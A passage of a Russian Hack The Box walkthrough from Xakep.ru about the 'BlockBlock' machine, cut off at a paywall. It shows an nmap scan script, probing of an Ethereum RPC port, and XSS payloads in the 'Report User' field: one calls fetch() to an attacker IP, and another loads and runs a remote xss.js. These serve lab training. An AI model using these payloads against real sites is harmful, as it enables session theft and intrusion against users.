Содержание статьи
Наша цель — получение прав суперпользователя на машине BlockBlock с учебной площадки Hack The Box. Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.43 blockblock.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).

Сканер нашел три открытых порта:
- 22 — служба OpenSSH 9.7;
- порты 80 и 8545 — веб‑сервер Werkzeug.
Смотрим оба порта веб‑сервера. На 80-м работает какой‑то децентрализованный чат, а порт 8545 вернул ошибку.


Точка входа
На сайте с чатом есть возможность регистрации и авторизации. Авторизованному пользователю, как правило, доступно больше информации, поэтому создадим свою учетку. На главной странице нас встречает бот, а также ссылка на смарт‑контракты.


По ссылке доступно содержимое файлов Chat.
и Database.
.

Проверим историю запросов в Burp History. Хотя мы работали только на одном сайте, в истории есть POST-запрос на порт 8545.

В запросе передаются данные, в которых можно выделить строку‑идентификатор eth_blockNumber
. Немного погуглив, находим справку по API Ethereum.

Попробуем выполнить запрос к сервису и получить аккаунты через API eth_accounts
. Однако в ответе сервера получаем ошибку, наталкивающую на мысль о необходимости авторизации.

Вернемся к боту и обратим внимание на кнопку Report User. Вводим любую строку и получаем сообщение, что наш ввод отправлен модератору.


Сразу проверим наличие XSS. Для этого открываем листенер (nc
) и отправляем нагрузку, которая постучится на открытый порт. Через несколько секунд в логах листенера видим запрос, а значит, XSS присутствует.
<img src=x onerror="fetch('http://10.10.16.89:8000/test_xss')" />

Точка опоры
XSS
Теперь сделаем нагрузку, которая будет скачивать с нашего сервера файл с кодом на JavaScript и выполнять его.
var scrpt = document.createElement('script');scrpt.setAttribute('src','http://10.10.16.89:8000/xss.js');document.head.appendChild(scrpt);
Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее